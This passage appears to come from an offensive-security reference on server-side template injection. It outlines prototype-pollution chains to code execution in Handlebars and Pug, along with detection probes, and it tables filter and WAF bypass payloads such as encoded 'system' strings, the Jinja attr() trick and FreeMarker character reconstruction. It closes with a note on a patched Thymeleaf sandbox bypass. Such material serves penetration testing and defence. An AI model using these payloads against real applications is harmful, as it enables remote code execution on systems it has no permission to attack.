this.constructor.constructor ├── Object.prototype.toString override + bind() for RCE └── Built-in helper abuse (with, blockHelperMissing) Prototype Pollution to SSTI (Node.js) PROTOTYPE POLLUTION → SSTI CHAIN: ├── Handlebars │ ├── Pollute Object.prototype.type = "Program" │ ├── Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value │ ├── Template string bypasses parser (treated as pre-parsed AST) │ └── Compiler executes injected code directly ├── Pug │ ├── Pollute Object.prototype.block with {type:"Text", val:"<payload>"} │ ├── When ast.type is "While", walkAST follows ast.block (uses prototype) │ └── High reliability: any template referencing arguments triggers it └── Detection ├── Handlebars: Object.prototype.pendingContent = "<test>" → appears in output └── Pug: Object.prototype.block = {type:"Text", val:"<test>"} → appears in output 7. Bypass Techniques Filter Evasion Restriction Bypass Technique Example Keyword Blacklist String concatenation {{'sy'+'stem'}} Character Filtering Unicode/Encoding {{'\u0073\u0079\u0073\u0074\u0065\u006d'}} Length Limits Shortened payloads {{lipsum.__globals__}} Quotes Blocked String methods {{request.args.cmd|system}} Keyword Blacklist (FreeMarker) ?lower_abc encoding 6?lower_abc = “f”, reconstruct class names char-by-char Attribute Name Filtering Hex-encoded attr() |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ Size Limit Config object staging Store payload in config.a via one request, execute in another Thymeleaf Static Class Block commons-lang3 MethodUtils Use "".class.forName(...) to load non-denylisted reflection class ServiceNow Mitigation Style tag wrapper + Jelly xmlns Embed <g:evaluate> inside <style> tags WAF Bypass Strategies WAF EVASION TECHNIQUES: ├── Encoding Variations │ ├── URL encoding (%7B%7B) │ ├── Unicode encoding (\u007B\u007B) │ └── HTML entity encoding ({{) ├── Structure Manipulation │ ├── Whitespace insertion {{ 7*7 }} │ ├── Comment insertion {# comment #} │ └── Nested expressions {{7*{{7}}}} ├── Payload Fragmentation │ ├── Multi-step injection │ ├── Context-dependent payloads │ └── Request splitting ├── FreeMarker-Specific │ ├── ?lower_abc / ?upper_abc character reconstruction │ ├── 1.1?c[1] to generate dot character │ └── Numeric built-in abuse to construct arbitrary strings └── Thymeleaf-Specific ├── Preprocessor double-evaluation via __${...}__ ├── @{} link expression parentheses to clear context └── Server-specific: Jetty allows {} in URL path, Tomcat blocks Thymeleaf sandbox bypass via tab character (CVE-2026-40478) CVSS 9.1, found by pentester Dawid Bakaj. Thymeleaf’s security sandbox — the thing that limits what SpEL expressions can do when they evaluate dynamic content — was bypassed using a tab character. Two defenses failed independently: a whitespace issue in the keyword check, and a narrow blocklist. The checks disagreed with the parser about what counts as a separator. Patched in 3.1.4.
...